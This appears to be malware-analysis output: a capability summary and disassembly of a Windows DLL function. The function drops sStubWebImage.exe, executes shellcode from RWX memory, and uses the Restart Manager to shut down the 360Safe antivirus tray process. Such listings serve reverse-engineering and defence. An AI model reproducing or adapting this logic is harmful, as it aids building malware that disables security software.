Function at 0x180004f30
Capabilities:
Allocate or change rwx memory
Create restart manager session
Enumerate processes
Enumerate processes that use resource
Execute shellcode via indirect call
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x106a0]
mov eax, 0x107a0
call fcn.18000b350
sub rsp, rax
lea r8, str.C:UsersPublicDownloads
lea rdx, str._sStubWebImage.exe
lea rcx, [rbp - 0x60]
call fcn.180007430
xor edi, edi
lea rcx, [rbp - 0x60]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0x106c8]
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea rdx, [0x180089740]
mov r8d, 0x203e10
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x1e2d1
lea r9d, [rdi + 0x40]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x18000500d
call fcn.180007490
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.1800072e0
movzx edx, al
mov rcx, rbx
call fcn.180007e60
mov rcx, rbx
call fcn.180007040
add rsp, 0x107a0
pop rdi
pop rbx
pop rbp
ret
mov r8d, 0x1e2d1
lea rdx, [0x180296490]
mov rcx, rbx
call fcn.18000cae0
call rbx
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180005024
xor edx, edx
lea rcx, [rbp + 0x1b4]
mov r8d, 0x234
call fcn.18000d1b0
lea rdx, [rbp + 0x1b0]
mov dword [rbp + 0x1b0], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18000509b
nop word [rax + rax]
lea rdx, [0x18003e2b8]
lea rcx, [rbp + 0x1dc]
call fcn.180015778
mov rcx, rbx
test eax, eax
je 0x1800050a9
lea rdx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180005070
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180005024
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
mov dword [rbp + 0x106c0], 0xffffffff
xor eax, eax
lea r8, [rsp + 0x50]
xor edx, edx
mov word [rbp - 0x70], ax
lea rcx, [rbp + 0x106c0]
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.RstrtMgr.DLL_RmStartSession]
mov edx, eax
lea rcx, [0x18003e2e0]
mov ebx, eax
call fcn.180002690
test ebx, ebx
jne 0x180005199
mov ecx, dword [rbp + 0x106c0]
lea rax, str.C:Program_Files__x86_360360Safe_safemon360tray.exe
mov qword [rsp + 0x30], rdi
lea r8, [rsp + 0x40]
mov dword [rsp + 0x28], edi
lea edx, [rbx + 1]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x18000518d
mov ecx, dword [rbp + 0x106c0]
lea rax, [rbp + 0x106d0]
lea r9, [rbp + 0x1b0]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x106c8]
mov dword [rbp + 0x106c8], 0x64
lea rdx, [rbp + 0x106d8]
call qword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x18000518d
mov ecx, dword [rbp + 0x106c0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.RstrtMgr.DLL_RmShutdown]
mov ecx, dword [rbp + 0x106c0]
call qword [sym.imp.RstrtMgr.DLL_RmEndSession]
add rsp, 0x107a0
pop rdi
pop rbx
pop rbp
ret